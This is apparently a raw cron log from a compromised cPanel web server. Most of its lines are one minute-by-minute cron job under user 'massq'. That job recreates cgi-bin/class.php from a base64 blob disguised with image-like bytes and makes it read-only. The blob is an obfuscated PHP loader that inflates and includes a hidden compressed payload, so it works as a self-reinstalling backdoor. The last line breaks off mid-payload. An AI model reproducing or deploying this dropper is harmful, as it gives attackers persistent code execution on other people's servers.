Apr  7 14:17:01 server CROND[16643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:18:01 server CROND[16715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:19:01 server CROND[16819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:20:01 server CROND[16885]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 14:20:01 server CROND[16886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:20:01 server CROND[16889]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 14:20:01 server CROND[16890]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:20:01 server CROND[16891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:21:01 server CROND[17025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:22:01 server CROND[17090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:23:01 server CROND[17255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:24:01 server CROND[17397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:25:01 server CROND[17477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:25:01 server CROND[17478]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 14:25:01 server CROND[17479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:25:01 server CROND[17480]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:26:01 server CROND[17604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:27:01 server CROND[17685]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 14:27:01 server CROND[17686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:28:01 server CROND[17847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:29:01 server CROND[17915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:30:01 server CROND[18004]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 14:30:01 server CROND[18005]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:30:01 server CROND[18006]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:30:01 server CROND[18007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1